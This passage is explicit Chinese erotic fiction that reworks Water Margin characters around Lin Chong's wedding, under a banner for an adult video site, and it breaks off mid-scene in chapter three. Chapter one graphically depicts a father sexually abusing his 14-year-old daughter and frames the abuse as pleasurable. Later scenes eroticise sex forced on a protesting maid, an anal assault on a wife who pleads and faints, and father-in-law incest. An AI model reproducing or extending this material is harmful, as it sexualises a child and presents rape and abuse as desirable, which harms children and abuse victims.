★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:MSSPW3.COM 点击收藏,以免迷路哦!

豹子頭林沖


           第一回  入洞房张霞思往事

                娶新妇林冲展神威



  且说北宋朝徽宗十年,虽北有强辽虎视眈眈,西有西夏、吐蕃窥视中原,然

东京开封府仍是一片歌舞升平。



  时值仲夏,梧桐街张灯结彩,热闹非凡。名震天下的林家梅花枪第十二代传

人林宁林提辖正在娶儿媳妇。



  亲家公张天山原也是东京一个厉害角色,曾任大宋御林军的箭术教头,雄腰

猿臂,百步穿杨,人称“小养由基”,但因年纪渐大,老眼昏花,体力下降,渐

渐的不为朝廷所用。妻子早逝,膝下仅有一女相伴,名唤张霞,所幸从小聪明伶

俐,善解人意,偏又长得体态窈窕,风姿袅娜,天生的一副美人胚子。



  林宁与张天山都是同朝为大宋天子办事的,原也早就相识,一日两人在茶馆

饮酒,林宁在担忧犬子林冲整天混迹瓦肆弄堂,不务正业,一味的使枪弄棒,好

勇斗狠,颇有给他找个老婆之意。



  言者无心,听者有意,张天山正是山穷水尽之时,度日维艰之际,再加上不

得已的苦衷,就说了些“小女粗陋,恐有辱门风”之类的客套话,当下两人谈着

就觉得投机,乘着酒意,就订下了这门亲事。



  张霞静静地坐在洞房里,打扮得如春山妩媚,夫君林冲尚未进屋,想是在外

招呼客人。



  她悄悄揭开盖头,但见屋内陈设简洁,窗明几净,窗户上贴着几张大大的

“喜”字,洋溢着喜庆的气氛。



  她闭目沉浸在遐想之中,想起从此将与另一个陌生男人共度余生,不禁心下

缱缱,她的思绪随着几案上的烛火袅袅飞扬……



  那年,张霞年方十四,正自蓓蕾初开,明眸皓齿,流丽动人。



  记得好象也是在这样的一个夏日里,阳光明媚地透过屋外葡萄架的缝隙泻进

了幽静的庭院,张霞躺在红木榻上沉睡着,身上穿着一件玉锦罗衫,映衬着雪白

的肌肤,俏立的双乳隐约可见,香腮晕红如贵妃醉酒一般。



  她的下身系着一条水红纱裙,一双三寸金莲斜挎在木榻靠手上,盈盈一握,

活生生的可爱。



  张天山正从教场上回来,热汗淋身,猛然看见女儿那幅海棠春睡图,久旷的

心海顿时起了波澜。由于他整天忙于公事,家中事务常常让邻家的刘婶帮忙,女

儿的日常起居又有小丫环锦儿照顾,却不曾想到女儿竟长得这般大了。



  他呆立着看了半晌,欲火飞升,胯下的阳物高举,坚硬如石,只觉得唇焦舌

燥,下腹高涨,尿意频频。



  虽然他常常出没花街柳巷,但萤火怎与日月争辉,再出色的妓女也不如这如

出水芙蓉般的娇艳。



  他慢慢的跪了下来,轻轻地卸下那水红纱裙,掀起里面的小衣,但见圆鼓鼓

的白白阴阜上覆盖着些许柔软的阴毛,阴牝肥大丰美,就如邻街王大娘家卖的面

团似的丰润光泽。或许是天气炎热的缘故,她下体的肌肤显得潮湿,色如人乳,

散发着淡淡的清香,如桃花绽放的小浪穴一开一合,仿佛婴儿之嘴嗷嗷待哺。



  张天山终于抑制不住自己,颤抖着把那双充满老茧的手放在高高突起的阴阜

上摩挲,触手处温暖细腻,光滑如缎。



  就在此时,张霞“嘤咛”一声从梦中醒来,在睡梦中她感觉有风沙掠过,刮

痛了她娇嫩的肌肤,可没想,一睁眼却看见父亲正赏玩着自己最隐秘的地方,她

一时吓得呆了。



  从小就经过“三从四德”教条的灌输下的她对于父亲的敬畏是根深蒂固的,

她羞红了脸,怯怯地道:“爹,你在干嘛?”



  此刻花影轻移,黄莺在葡萄架上清脆地啼鸣,那股处女的清香交杂着墙角传

来的花香刺激着张天山的神经末梢。他欲火已然在心中燃烧,耳中哪能听得见女

儿娇怯的声音,满眼尽是女儿那白里透红的脸蛋。



  “好女儿,你莫叫,依了爹地,爹地什么都给你。”



  他脱下她的上衣,粗糙的手已是捏住了那勃勃而立的乳头,仔细揉搓着,只

觉得湿热润滑,心旌摇荡。张霞感到脸颊滚烫,如火燎一般,通体燥热,一张小

嘴已是挤出几丝呻吟,嘴角轻翘,更是惹人怜爱。



  “我要邻居小梅家的那种丝缎,还要余杭产的。”



  那日见过小梅穿着一身绫罗,俏丽动人,张霞嘴上没说,心里却甚为妒忌,

颇想也拥有这么一样。



  张天山见女儿肤若凝脂,唇似涂朱,香乳挺立,迎风招摇,已是魂飞魄散,

不知所以了。



  “好、好女儿……爹地还给你买临安的宫花,金陵的玉镯……好霞儿,你真

香!”



  此时就算是天上的星星,他也要把它摘下来送给她了。他松开了双手,解开

了腰间的丝带,脱下长衫与内衣,露出了还算壮健的胸膛,上面的黑毛密匝匝的

甚是吓人,张霞心下狂跳,血冲脑门,急忙闭上了眼睛,但随即又微微眯着,却

见父亲那话儿已是高高翘起,顶得内裤像是支起了帐篷。



  张天山抱紧女儿,只觉心痒难搔,已是将一张胡子拉匝的嘴凑上与她相接,

咂舌之声不绝于耳,张霞丁香暗吐,香涎甘甜芳菲,沁人肺腑。



  张天山如身在云雾之中,神仙也不过如此而已!他一手抱着女儿的纤腰,一

手抚摸她光洁的胸部,到处都是酥酥软软,触感舒服,他可以感觉到女儿已经渐

渐动情。



  在这情场老手的撩拨下,张霞春情难耐,胴体有如火练,轻声呻吟,如莺啼

鹂鸣,嘤嘤咛咛,双手已是抱住父亲雄壮的腰身。



  张天山的嘴移至女儿的胸部,吸吮着她那两颗紫红的樱桃,恨不得一口吃进

肚内,他的舌头轻抵着乳头,只那么一下,就让张霞感到无比的麻酥,她一阵的

抽搐。



  张天山的一双枯手已伸进女儿的下身,隆起的阴阜有柔软的阴毛覆盖,触手

之及,都让张霞不自禁的紧夹住双腿,脸如火烧,喘息声越来越大,丰腴的身体

如蛇般扭动,显见得她的内心是骚动不已,她的手儿也伸过来抚摸着父亲那高昂

挺立的话儿,只觉身在空中,轻盈如鸟,直欲飞去。



  张天山分开她那修长曼妙的双腿,股间芳草离离,阴牝处光亮湿润,惹人爱

怜,一脉清流正自从那销魂穴中渗出,色如人乳,香气熏人。



  时当正午,树上知了乱鸣,张霞仰天躺着,两腿大大张开,粉脸娇艳,媚眼

如丝,娇啼不断,小手纤纤的在小乳上不停地揉搓着。



  张天山看到女儿那般的浪态,淫声不断,阳具已是蠢蠢欲动,他一手扶着已

是挺将过去,龟头刚抵一半,只听张霞已是痛得大叫,“啊!!爹……女儿痛死

了……女儿不要了……”



  她的阴牝突然间被一个硬硬的东西塞进,顶得阴牝内奇痛麻辣,急忙伸手摁

住了那根滚烫如火的阳具,“爹,我那里要裂了,我要死了……”



  怎奈此刻张天山正在紧要的关头,岂有就此罢手之理,他已是猛然一掼,龟

头尽入阴牝深处,直抵花心,张霞痛得珠泪翻滚,阴牝之内犹如刀绞般的疼痛难

当,她浑身肌肉僵硬,贝齿紧紧咬着朱唇,屏住呼吸,“爹……可怜女儿蒲柳弱

质……切莫再用力了……”



  张天山听了不禁有些自责,忙放慢节奏,轻抽浅送,款款温柔,渐渐地只觉

得里面滑腻非常,想是已入佳境。



  他眉飞色舞地腰肢大摆,弯腰细细看着阴器相接处,见那阴牝饱满丰润,阴

唇时开时阖,艳若桃花,阴毛上沾染了几许处女血,鲜艳夺目,映照着白白的阴

牝,更显得奇诡无比。



  处女奇紧的阴壁夹得他的阳具舒畅欢美,快感自小腹丹田传到顶门玉枕,再

回流至阳具,他双眼紧闭,只管用力抽送,越来越快。



  张霞初时疼痛,到了中途已是转为酸麻,她逐渐把持不住自己的矜持,放出

了百倍的风情,粉臀轻抬轻放,体会那话儿在阴牝内的点、吮、抵、啄,真如青

蛇吐信,咬得她是云鬓篷松,凤目斜睨,端的是奇淫风骚。



  二人插送相接数百下,张天山老迈之躯渐渐不行,只觉双腿软弱无力,遂轻

声呼道:“女儿,我要出来了……”



  阳物一阵收缩,一股浓冽的精液喷涌而出,有如湍流飞溅,射在花心深处溅

起朵朵浪花,然后双手紧紧地抱着张霞的丰满娇艳的胴体倒在了红木榻上。



  而张霞也随着那股热浪的流入而舒爽异常,雨散云消,两人搂抱在一起,交

股叠肩,大汗淋漓。



  自此以后,父女之间的情事自是层出不穷,乐此不疲。然而乐极生悲,张天

山年迈体衰,怎耐得住这年华正茂的青春女子,几年下来,竟落得满身的疾病。



  这才思想着要将女儿嫁将出去,否则这身臭皮囊未免会提早去见阎罗王。



  张霞见窗外月影渐移,然而夫君林冲却犹未进洞房,她长叹一声,将身子斜

倚在缎花被上,美目将闭未闭,一只小手托着香腮,显得风韵楚楚,丰腴的胴体

焕发着无上的春意。



  就在此时,已是醉醺醺的林冲已是撞开门扉,只见四对大红蜡烛燃得旺盛,

那新人正躺在床上睡着,但见那柳眉斜飞入鬓,长长的睫毛掩映下的杏眼微闭,

樱唇轻启,脖颈间白皙光洁,端的是一个美人儿。



  饶是林冲素来不喜女色,也不免情动。



  要知林冲为人豪爽尚侠,虽年已三旬,却至今未婚,为的就是天生的厌恶女

子,反而对龙阳之事是如猫儿遇腥,苦逐不已。现今囿于父命难违,只好违心娶

妻,还是磨磨蹭蹭的直到深夜才进洞房来。



  但一见张霞之绝世风姿,登时淫兴大盛,只看得心旌摇荡,呼吸急促,他伸

出手来轻轻地抚摸着那如粉琢玉雕的脸蛋,只觉滑腻非凡,“娘子,娘子……”



  张霞一下子惊醒过来,只见眼前一个锦衣男子,豹头环眼,燕颔虎须,八尺

长短的身材,显得昂藏英武,不禁心下甚喜。



  要知以前女子不过门是不知道夫君的相貌的,待得一见林冲之神采,她一下

子就神为之夺,羞得低下了头,一张小脸红若彩霞,水灵灵的大眼睛已是秋波荡

漾,“夫君来了……”



  千言万语也只在那一瞬之间,林冲已是轻舒猿臂,三两下就褪去了她一身的

新娘装,露出光晃晃亮晶晶的身子来,但见双乳尖挺,玉润珠圆,小腹平坦,双

股之间芳草萋萋,玉唇儿张缩不已,显是情切切意真真。



  他贪婪地看着这肥美丰腴的可人儿,颤抖着双手脱去了长衫,露出强健的肌

肉,在呼吸之间更是鼓成块块,雄壮英武。



  “也不知那话儿怎么样?”



  张霞羞羞地闭上了眼睛,这新婚之夜可不能显得太过张扬,以免露馅,这是

临行前父亲一再叮嘱的。她只感觉到,有坚硬的胡子渣正扎着自己娇嫩的粉肉,

一根长长而潮湿的舌头正蜿蜒地往来于双峰之间,在这吸咂时她只有强自忍住直

欲喷发的热情,全身香汗淋漓,娇喘不已。



  “贱妾弱质,还请相公珍重……”



  她纤手一摸,竟触到了一根又粗又长的滚烫之物,小手儿颤颤,“这物这么

长大,贱妾好怕……”



  娇啼婉转,显出不胜凉风的娇羞,林冲微微一笑,“娘子莫怕,林冲自当小

心。”



  他摇了几下亮晃晃的长枪,阴茎上青筋暴露,他将张霞抱起,自己跪在了床

上,而张霞的两只纤手环环绕于他的脖子上,双腿自然而然的勾搭在他的腰间,

林冲双手托着她的肥臀,把那阳物缓缓地送入了那销魂窟里。



  张霞大痛,忍不住叫喊着,“疼,相公轻点……”



  虽然已非处女,但林冲阳物之巨大实非其父能比,登时将她的阴牝拓宽,在

里面横冲直撞,势不可当,不一会儿,就见阴道口流下些许血丝。



  “好娘子,试试你相公的林家枪法吧。”



  当下已如狂风骤雨般的一阵猛攻,那阳物时常连根尽没,阴囊在外不时的挤

压在阴蒂之上,那张霞已是体酥声弱,欲仙欲死,好似身上的每一根骨头都被拆

散一般。



  林冲狂抽了数千下,将那话儿退了出来。只见张霞气喘吁吁的,全身香汗淋

漓,已是被他弄得死去活来,瘫倒在床上,白生生的胴体刺激着林冲犹未退去的

神经。



  只见她两股之间茵茵绿草下一道峡谷豁然洞开,光光肥肥的阴户内有阴蒂高

翘,如鸡冠微吐,似蓓蕾初绽。两片阴唇分开,四周淫水四溅,显是经过一番搏

斗,张霞先自泄了。



  他触手一摸,那淫水粘稠,如蚕丝连绵滑润,带得满手都是。



  他轻轻一笑,翻转她的身子,吐出一口唾液涂在她的后庭,沿着菊花蕾边圈

了几下,张霞只觉得奇痒难当,“夫君,你是要……”



  她心下大惧,以林冲阳具之粗大,要插入那小小的缝隙之中,肯定是要死的

了,她惊道:“不、不……”



  可没等她说完,那根奇大无比的阳物已是生生的插入了她的肛门内,一股火

辣辣的巨痛从后庭传来,她大叫一声,已是昏迷过去。



  恍恍惚惚之中只感觉有一根铁锯在直肠内拉锯着,刮得内壁奇疼,慢慢的又

转为酥麻,紧接着,有津液产生,润滑着那阳物的穿插,美妙的感觉霍然生起,

她的双目不再茫然,放出了兴奋的光芒,尽管身下早已一片狼籍。



  林冲由于久练武功,甚有长力,直插了再近千下,仍是犹有余力,抽插之间

分外热情。



  张霞只觉得后庭内如针刺般疼痛,直欲撕裂,已是鲜血模糊,血淋淋一片,

惨不忍睹。



  张霞不禁哀求着,“相公,不要再折煞贱妾了,贱妾快要死了……”



  “那好吧,我再插下前面的吧。”



  他把阳物提拔出来,复又插入了那牝穴内,双手抚着那弹性十足的丰肥屁股

不断发力,直抵得她双乳乱甩,如醉如痴,牝穴内洪峰涌现。



  林冲再一阵的猛烈进攻,才将积蓄已久的精液尽数送入了那牝穴里,只激得

张霞哆嗦不已,飘飘欲仙。



  一时间鲛蛸账中花残月缺,粉褪蜂黄,腥红涓涓,燕语喃喃。









第二回  泄淫欲老林宁扒灰

                感亲情小张霞乱伦



  次日早晨,林冲夫妇依例到前堂给父亲请安递茶,两人激战整夜,林冲身强

体健倒没什么,却苦了张霞娇弱之躯,犹自下体疼痛,行走不便,蹙眉之际显得

更是标致可人,饶是林宁原已不波的老井也起了些许微澜。



  “你们下去吧,霞儿身体不好,你要多疼疼她。”



  林冲诺诺连声,带着张霞回到内室,免不了又是一番行云布雨,共效于飞。



  林宁虽老,但多年习武,虎老雄威仍在,当下看见儿媳妇妖娆无比,体下阳

物勃然而起。



  正思想着该如何是好,一个穿着淡绿裙子的小女子端着茶叶进来了,却是随

嫁侍女锦儿。



  且说这锦儿,年方二八,正在春心勃发之时,生得姿容清雅,因未经破身,

自有一番少女风致。



  “老爷,请用茶。”



  声音清脆悦耳,然听在林宁耳中却不啻晴天霹雳,他一把将锦儿抱在怀里,

老手轻狂,已是伸进她的裤裆内,把那牝户又摸又捏,霎时淫兴益浓。那锦儿下

体猛然遭袭,不禁脸颊潮红,双手推却,“老爷,您莫这样……”



  林宁已是心魂荡漾,难以自制,哪管弱女无力,双手连环,卸去锦儿的裤

腰,露出雪白双股,恰似粉团一般。那牝户儿,红的红,白的白,阴蒂如鸡冠微

吐,销魂小窍紧闭,显出一道小缝隙,煞是喜人。



  锦儿虽常见张氏父女做那事,但毕竟那时年幼无知,目下年纪渐长,已是知

晓人事。



  当下被林老爷一番轻薄,难免情动,更想那销魂滋味却是如何让小姐欲仙欲

死。



  林宁欲火高涨,全身运劲一挣,衣物尽去,这“霸王卸甲”原是祖传功夫,

也让他运用得娴熟无比。



  锦儿怯生生的看着那勃然大物,长约七寸,只恐自家牝户狭窄,不堪重负。



  然就在她犹豫之际,林宁已是抹些唾液在那阳物之上,凑着那光光肥肥的牝

户儿一顶,仅进寸许,就听得锦儿痛哭出声,“老爷,可怜锦儿则个,要死了一

般……”



  林宁搂住锦儿粉白的脖颈,将那舌尖儿抵进她的小嘴,紧紧地吸咂着檀口丁

香,体下阳物却是并不稍停,一连就是二十几抽,才得以尽数而没。



  锦儿牝户如欲割裂般的痛楚,火辣辣般的疼痛,当下只是蹙蛾忍耐,直至林

宁数百抽后,才苦尽甘来,婉转娇啼。



  林宁只觉那牝户内阵阵紧缩,就如有一只小手儿轻握,湿润滑腻,不觉得又

是狂抽乱送。锦儿也是呻吟声不绝,小手紧紧扣着林宁的双肩,生生划出几道血

红。



  林宁站稳马步,身似弯弓,臀部发力,一根阳具在里面拱进拱出,伸缩不

定,龟头抵在花心深处,就如鸡啄一般快活。



  锦儿的花心就像要开放了,昏去又醒,浑身乏力,却又快美无比,终晓得小

姐为何沉缅此中之故了。



  “好锦儿,似你这般妙物,缘何你家老爷不曾碰你?”



  林宁边抽边问,他素来知晓张天山的禀性,岂容美物错过。



  锦儿心魂俱散,只觉全身舒服畅意,不觉翘起秀美双腿缠在林宁腰间,气喘

吁吁的道:“老爷,你不知道,我家老爷怎么会看上我,他与我家小姐早就…”

说到此处,锦儿忽感不妥,忙闭上了嘴,只是唇间依然是呻吟不已。



  那林宁老奸巨滑,一点即透,登时明了,腰肢用力,心下大骂,张天山这老

东西,不是人!



  林冲夫妻新婚燕尔,欢好月余,林冲的热情却渐渐显得有些淡了。



  这日张天山兴冲冲的前来报讯,“东京殿帅府要招考八十万禁军枪棒教头,

三日后在西郊校武场公开比武,冲儿枪法了得,可以去试一试,也好图个功名,

封妻荫子。”



  林宁也点头赞许,“对,学成好武艺,卖与帝王家,冲儿,你就去吧。”



  林冲原也打算博个功名,好光宗耀祖,既然父亲吩咐下来,也是兴致勃勃。



  是夜,正逢十五,月亮圆圆地挂在树梢头,林冲出外会友未归。张霞闲极无

聊,走到中院纳凉赏月,她披着一件蝉翼薄纱,不施粉黛,淡雅清新,显得丰姿

绰约。



  就在她呆立沉思之时,传来一声“嗯哼”的咳嗽,她急忙回头一看,却是公

公林宁站在身后。



  “深夜风大,你穿这么少,可莫着凉了。”



  林宁的声调平缓温柔,充满爱怜之意。



  “公公,不会的,今儿个天热,我出来吹吹风。您还没休息?”



  公公平日严肃,不苟言语,想不到却这般的体贴,她忙紧了紧身上的纱巾,

公公的眼睛在暗夜里显得精光闪闪,奕奕有神。



  其实林宁站在她的身后已是许久,这平静的小家庭里原本都是男人,自来了

这个温柔美丽的儿媳妇后,他再也按捺不住潮涌的激情,经常悄立儿子的窗下,

聆听他们做爱交媾的声音,然后回去自个儿在被窝里施展五爪功,安慰老去的情

怀。



  “没有,我睡不着……霞儿,冲儿对你好不?”



  林宁凑上前去,已是一把抓紧了她的小手,纤手滑润细腻,鼻间有一股淡淡

的清香,想是从儿媳身上传来的,他心中荡漾,吞下一口唾沫,胯下阳物跃跃欲

试,真是欲罢不能。



  “啊,公公……”张霞被公公的举动惊呆了,螓首低垂,小脸晕红似火烧,

“大哥对我很好……”



  只是这句话含在嘴里,嗯嗯哼哼的已是发不出声。



  “好霞儿,你真是漂亮,公公第一眼看见你就喜欢你。”



  林宁就着这夜色静美已是一把抱起了那曼妙的胴体,温暖在握,实是心魂俱

散。



  “不,不……公公,这不好,大哥就要回来了……”未等她说完,小嘴已被

林宁的嘴封住,长舌一渡,顶着她的丁香就吸咂起来。



  “霞儿,冲儿的功夫比你老父亲的如何?”



  “啊,公公,您怎么……”



  此时张霞一听之下已是魂飞魄散,一时间吓得也是全身酥软,任凭公公将她

抱至他的屋内。



  林宁把她放在榻上,轻轻脱去她的薄纱,但见玲珑剔透的胴体上凹凸分明,

肌肤白若凝脂,如冰如玉般的晶莹,只看得他是心跳加速,呼吸急促。



  林宁轻轻弹了下她娇嫩的乳头,然后低下头来细细的吮吸,这少妇的体香夹

着乳香着实让他舒服畅快。



  张霞被他这口中一含一放,一吸一吮,一种无边的快感随之即来,芳心可

可,如欲仙去,她闭上眼睛,静静体会其中的滋味。



  林宁在玩弄儿媳的乳头时,手指也未闲着,张霞的衬裤也是被他剥个精光,

修长白嫩的玉腿横陈于公公的眼前,两股之间的秘处芳草离离,嫩红细白之物隐

约可见。



  林宁把她的一条腿儿抱了起来,低头轻轻吻着那桃花源处,手指的捻动叫张

霞好生酥麻,不由得发出呻吟之声。林宁三下五下除去自己的衣衫,胯下阳物也

是昂扬愤怒,凛凛生威。



  张霞羞红着脸,低低的呼道:“不……这不行的……”



  “好霞儿,你就顺着老爹一回……让你见识一下老爹的功夫,要知道林家枪

法绝不比你老父的差。”



  林宁迫不及待地分开她的两条腿,用手扶着坚硬如铁的阳具伸进了那紧紧密

密的销魂洞里,当下已是抽送不停。



  张霞的阴牝被插得满满的没有一丝缝隙,每抽拉一下,阴牝处的嫩肉便或进

或出,明明灭灭,煞是惹目。她柳腰款款,粉臀抬放,迎合着林宁的抽插,每一

次都是那么的一往直前,一捅到底,令她芳心灿烂,在这轻抽浅送之间淫语浪声

不绝于室。



  林宁抖搂着精神,一口气抽插了数百下,气喘吁吁的已是满头大汗,可身下

的张霞淫兴正浓,“好公公,你要插紧一些,快插……”



  浪语淫縻令林宁不知疲倦,只管埋头耕耘,奋力抽送,又抽了数百下,他下

腹一紧,一股精液如离弦之箭一把把的射在张霞花心深处。



  然而林宁虽泄,那小张霞却仍“啊啊”的乱叫,显然是还未尽兴,林宁低下

头来,用手拨开阴牝处潮湿的浓荫,把那舌头伸了进去。



  只见张霞浑身直颤,那紫亮的阴牝一收一缩的,而淫水便如春潮涌流,林宁

张着大嘴把那些外泄的淫水一口一口的接纳,不时咂舌深吸,如饮甘醇。



     ***    ***    ***    ***



  果不出林宁所料,林冲在众多参赛的武士当中显得卓尔不群。



  当见到儿子使出林家的看门绝招“梅花七出”把对手挑落马下时,他就知道

现在的林冲已是青出于蓝而胜于蓝了,长江后浪推前浪,他不禁抚须赞赏。



  经过这两天与儿媳的肉体鏖战,林宁倍感体虚,虽然在回春堂拿了些补药,

但终无济于事,他能够感觉到自己的身子已是如江河日下,一日不如一日了。



  但张霞那如火的胴体却又是那么的诱人,以致于他一次次的越轨,一次次的

发泄着原始的能量,就在昨晚,张霞趁着林冲睡熟之际,还和他在厨房里的灶台

上大战了数百回合,几乎要榨干了他,但他乐此不疲。



  这一天,林提辖家中贺客盈门,都来祝贺林家公子林冲出任八十万禁军枪棒

教头,来者多为京师武界名流。



  其中还有林冲至交御林军金枪班教师徐宁,长得相貌堂堂,六尺五六身材,

团团白脸,三牙细黑髭髯,腰雄膀阔,使得一手钩镰枪法,极是了得,两人由武

相交而终成莫逆。



  林氏父子杯来酒干,喝得痛快不已。张霞在内室也是高兴非常,毕竟夫君出

色,她脸上增彩。



  她细细地抚摸着下面的牝户,阴唇如菡萏般盛开,经过洗礼的牝户正成熟精

美,充满热情。



  “好女儿,在想什么?”却是张天山偷空溜进了她的内室,已是数十天未曾

亲近了,这老儿急色得鼻涕直流。



  “爹,你没良心……”



  一只大大的眼睛水汪汪的流转,软叭叭的倒在父亲的怀里,似嗔非嗔,脸色

酡红,一轮明月透过纱窗把屋内照得雪亮。



  张天山把女儿抱得紧紧的,面对面的深深的亲了下嘴,舌尖吐在她檀口里,

两下翻飞,蜜成一团。这一番吸咂使得张霞面红耳赤,浑身骚痒,下身也不自禁

地有了些晶莹淫液,浸湿了桃红夹裤。再过一会,那牝户里的淫水如细成涓涓,

顺着两股之间流到了脚踝。



  张霞忙从袖子里抽出一幅白绫纱巾,伸进内裤擦拭,但见上面潮湿一片,闻

之腥臊中带有一股淡淡的清幽之气,如丝如缕,令人魂消。



  张天山看她如此,已知情动,便用手来给她宽衣解带。



  张霞羞道:“爹,这如何使得,羞人答答的,要是人家进来呢?”



  张天山哀求着,“好女儿,可怜爹爹已经好多天没吃肉肉了。”



  张霞一听,爱惜之心顿起,淫心勃动,“那你,你要轻点声哦。”张天山大

喜之下,手足无措,好一会儿才把她的裤儿褪下。



  但见月色撩人,一轮光亮晶莹地照在女儿那嫩生生的牝户上,如水银铺盖,

似白蜡做成。



  张天山一颗心嘭嘭直跳,小腹收紧,下身那话儿就如铁棒一般,跳动不停。

他忙不迭地从裤裆里掏出来放在手中,虽然不太长大,但却结实有力。



  张天山把女儿放在床上,双手赏玩着那一对三寸金莲,可说是玉润珠圆。再

看那牝户,鼓鼓的,白白的,就似那荔枝剥壳,细腻光滑,一对粉红色的唇儿掩

映着一条细细的缝儿,隐约可见那阴蒂翘立如风中颤抖的樱桃。



  他忍受不住那种诱惑,手指轻伸,已是捻住那阴蒂儿捏弄,手感滑腻,再将

手指一伸进牝内,只觉得里面紧紧的,热热的,羊肠小道里甚是难行。



  张霞轻声呼痛,他忙把手指伸出,却见那阴唇儿又合上了,上面闪着光亮,

在那些浓黑的毛儿映衬下,更是动人。而此时,张霞也开始轻轻地呻吟着,抑扬

顿挫,间间关关,煞是好看。



  她只觉牝户如火炙一般,阴唇紧闭,一股淫水从那条细细的缝隙中流出,口

中哼着,“爹,你快点,用力插吧,女儿好痒痒。”



  张天山腰肢一挺,阳物对准那缝儿,已是一杆见底,直抵花心。张霞闷哼一

声,牝内奇痒,酥麻酸痛,百般滋味涌上心头。



  张天山抽了数百抽,直插得女儿浑身津液冒流,通体舒畅,“亲亲老爹,你

再用力些……”张天山一听这浪话儿,使出了浑身解数,用了十二分的力气,把

那话儿就是猛送,只觉得那牝户把自己的阳物紧紧裹住,每一步都是那么艰难。



  而张霞却是十分受用,牝内肌肉被那滚烫之物烫得酥麻快活,小腹紧缩,牝

里又是流出了许多水儿,口中还大声呻吟着,“亲亲老爹,你可入死女儿了。”



  张天山听着那莺啼婉转,阳具在牝中大进大出,阴器撞击发出“嘭啪”声。



  张霞摇晃着,钗横鬓散,一对椒乳跳动不定。张天山再抽得数十下,阴囊收

缩,知道自己要泄了,忙紧紧地抱着女儿滚烫的胴体,怒吼着射了出来。



  张霞也是浪叫一声,身子摇颤,就像要脱力似的,只感到牝内如热油灌顶,

烫得神情恍惚,快美异常。



  两人相拥着抚摸了一会,外堂暄嚣渐隐,但听得走廊处传来脚步声,张天山

急忙穿上衣服,穿窗而走。



  待得林冲娘子把门一开,却见林冲已是被一个人搀扶进来,来人蚕眉凤目,

仪表非凡,正是林冲好友金枪手徐宁。









第三回  觅淫药林宁命归西

                行龙阳豹子再发威



  且说这金枪手徐宁,他为人仗义,猿臂善射,身轻如燕,世袭三等大内带刀

侍卫,平生最喜交结朋友,这豹子头林冲与他年纪相当,禀性相投,端的是无话

不说。



  只可惜有个毛病,便是贪杯好色,家中大大小小的女人无一漏过,只要一见

到绝色女子,那是如蝇叮血,苦逐不已。好就好在他不好男风,却不似林冲那般

男女兼收。



  常说世间阴阳有对,乃天地而成,岂可逆天行事,长此以往,必遭横祸,也

常劝说林冲,无奈林冲乐此不疲,全当耳边之风。



  那日在内堂眼见林冲娘子国色天香,一身骨头都酥麻了,但想“朋友妻,不

可欺”,心下恨恨,整日里心不在焉,精神困顿。



  家中娘子禀性娴淑,相貌端庄,乃父为九门提督府团练使,也是名门之女。



  “夫君这几日闷闷不乐,却是为何?”徐家娘子端上一碗参汤,轻声细语,

极尽温柔。



  徐宁懒懒地抬起眼来:“也没什么,可能是昨儿练武闪了,今日就不去随直

了,要在家中歇歇。”



  他喝了几口参汤,眼见妻子眉目清秀,肤色白皙,胯下那物就蠢蠢欲动,他

就势一抄,已是将她抱在怀中。



  那娘子嘤咛一声,身体酥软,凤目迷离,自有一股少妇风韵。



  徐宁搂着这软玉温香,如处芝兰之室,周身芬馥。那娘子轻吐丁香,婉转相

就,两人着实的吮咂了一番。



  “娘子,多时不曾亲热,却比往日清香了。”



  徐宁淫兴正浓,权且将这娘子当作那念兹在兹的可人儿,就着这焚烧欲火,

将她解带宽衣,争见那牝户肥肥腻腻,小孔儿含春,牝毫嫩长。



  这销魂窍妙就妙在虽已生产,却仍如处子般紧凑,每逢夫妇交媾,总似处子

呻吟不绝,声儿娇柔,小窍含葩,也算是牝中名器。



  当下徐宁翻身而上,把那阳物凑着那牝户,顶了数下,方才顶入,却觉蜿蜒

难行,道路崎岖。



  “好夫君,但且温柔些……”



  那娘子怡然甜美,怎管那鬓发零乱,竟将那颤抖椒乳直是钻捻,臀儿上凑,

迎着那数千抽插,只听得汩汩有声,想是牝内淫水泛滥。



  徐宁托着那双三寸金莲,雄腰并举,坚实的捣了数百下,直撞得那可人儿是

遍体酥麻,口中淫声不断,称快不已。



  徐宁把头凑近那粉白脖颈:“好娘子,夫君有一事相商,还望娘子能够答应

才是。”



  那娘子正是情发之时,一双俏眼似闭非闭,下面臀儿乱颠乱耸,只觉那物儿

自内及外,真如火割,却又这般的令人魂消。



  “夫君但有所命,奴家自是无有不从……”



  只听得徐宁在她耳边细语了几句,那娘子登时脸红耳赤,张着那酡红的娇脸

儿,颤抖着:“这不好,夫君,生生的叫人害羞……”



  徐宁奋力再耸,大开大阖之下是淫水四溅,连呼心肝宝贝。那娘子终究是水

性女子,轻轻地点了下头,惹得徐宁是心花怒放,金枪再举,直把那娘子入得精

疲力竭,昏迷不醒。



     ***    ***    ***    ***



  且说这林家老爷自从与儿媳妇有了一腿之后,日夜劳心劳力,几个月下来已

是力不从心,根筋疏散。



  已是数次未战先竭,弄得两人都不快活,后来张霞发火了:“你再这样,以

后别再来了,弄得人好没兴致。”



  林宁命人四下打听,那京师第一楼玉堂春有一秘制春药“大力金刚丸”,乃

根据宫廷处方而制,据说能令人颊间留香,胯下生津,於是花重金买了六颗,藏

於内室,专等机会,要与小张霞大战几百回合。



  这一日,林冲依例前去太尉府点卯,早早就出了门。林宁俟机溜进了儿子的

内室,但见儿媳正临镜梳妆,一副楚楚动人模样。



  “好媳妇儿,你这浪样真真要害死人了……”



  林宁手脚麻利,在那光滑细腻的肌肤上一阵摩挲,此刻他欲火攻心,实是难

熬,一番轻薄早已是将张霞的脸吻得汗津津的。



  “好公公,你可别再半途而废了,惹得人家心痒痒的,却不能尽兴。”



  张霞媚眼如丝,吐气若兰,娇怯怯的若不胜风。



  林宁要来之前已是尽服四颗“大力金刚丸”,此时淫药攻心,再没往日的水

磨工夫,匆匆褪去自家衣裤,露出了那根比往常大了好多的阳物,坚挺晶亮,波

光潋滟。



  小张霞一见好是惊讶,但也不容细想,配合着公公的动作脱下了遮体罗衫,

就势躺了下来,但见她白生生的俏丽无双,嫩松松的肉儿,光篷篷的牝儿,肥肥

腻腻的迎风绰立。



  老林宁已是欲火燃烧,一挺阳物猛然插入那牝户,抽插不停。



  那阳具一进入,小张霞已是感觉热如火炭,直挺挺的坚如钢铁,在那牝内冲

刷不完,倏长倏短,直捣得花心粉碎,酸痒难当。



  “好公公,你今日不比往常,直入得人家要碎了……”这软语娇声,香气叠

嶂,更是激得这老人是志在千里,气贯长虹。



